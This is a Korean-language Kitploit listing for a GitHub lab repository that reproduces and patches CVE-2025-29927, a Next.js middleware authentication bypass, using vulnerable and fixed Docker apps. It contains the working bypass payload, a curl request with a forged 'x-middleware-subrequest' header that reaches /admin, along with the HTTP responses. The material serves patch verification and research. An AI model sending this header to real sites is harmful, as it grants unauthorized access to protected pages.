Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-29927 — CVE-2025-29927 취약점의 재현 및 수정. | Kitploit
도구/GitHubGitHub/bongni/cve-2025-29927
Container SecurityVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubbongni/cve-2025-29927

CVE-2025-29927

CVE-2025-29927 취약점의 재현 및 수정.

저장소 보기
119개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-29927

CVE-2025-29927 취약점의 재현 및 수정.

root@kitploit:~
git clone [email protected]:Bongni/CVE-2025-29927.git
cd CVE-2025-29927

vulnerable/ 디렉토리에는 공격에 취약한 버전의 애플리케이션이 있습니다. fixed/ 디렉토리에는 취약점을 수정한 최소 버전으로 업그레이드된 애플리케이션이 있습니다.

⚠️ 중요: 이 예제들은 방어자, 연구자, 패치 검증 팀을 위해 제공됩니다. 이러한 이미지를 공용 또는 프로덕션 네트워크에서 실행하지 마십시오. 소유한 시스템이나 명시적 서면 허가를 받은 시스템에서만 테스트하세요.

취약한 버전

CVE-2025-29927 취약점의 재현.

Docker 컨테이너 빌드 및 시작

root@kitploit:~
cd vulnerable/
docker build -t next-app-vuln .
docker run -p 3000:3000 next-app-vuln

익스플로잇 실행

로그인 페이지로 리디렉션되어야 하는 다음 명령을 실행합니다.

root@kitploit:~
curl -i http://localhost:3000/admin
root@kitploit:~
HTTP/1.1 307 Temporary Redirect
location: /login
Date: Wed, 08 Oct 2025 03:37:24 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked

그런 다음 관리자 페이지에 접근할 수 있어야 하는 다음 명령을 실행합니다.

root@kitploit:~
curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin
root@kitploit:~
HTTP/1.1 200 OK
X-Powered-By: Next.js
ETag: "nr3m78x84avh"
Content-Type: text/html; charset=utf-8
Content-Length: 1133
Vary: Accept-Encoding
Date: Wed, 08 Oct 2025 22:54:39 GMT
Connection: keep-alive
Keep-Alive: timeout=5

...

수정된 버전

CVE-2025-29927 취약점의 수정.

Docker 컨테이너 빌드 및 시작

root@kitploit:~
cd fixed/
docker build -t next-app-fixed .
docker run -p 3000:3000 next-app-fixed

익스플로잇 실행

로그인 페이지로 리디렉션되어야 하는 다음 명령을 실행합니다.

root@kitploit:~
curl -i http://localhost:3000/admin
root@kitploit:~
HTTP/1.1 307 Temporary Redirect
location: /login
Date: Wed, 08 Oct 2025 03:37:24 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked

그런 다음 이제 역시 로그인 페이지로 리디렉션되어야 하는 다음 명령을 실행합니다.

root@kitploit:~
curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin
root@kitploit:~
HTTP/1.1 307 Temporary Redirect
location: /login
Date: Wed, 08 Oct 2025 03:37:24 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked

참고 자료

이 저장소는 l1uk/nextjs-middleware-exploit을 기반으로 하지만 Next.js 15.x 버전에 맞게 조정되었습니다.

도구 다운로드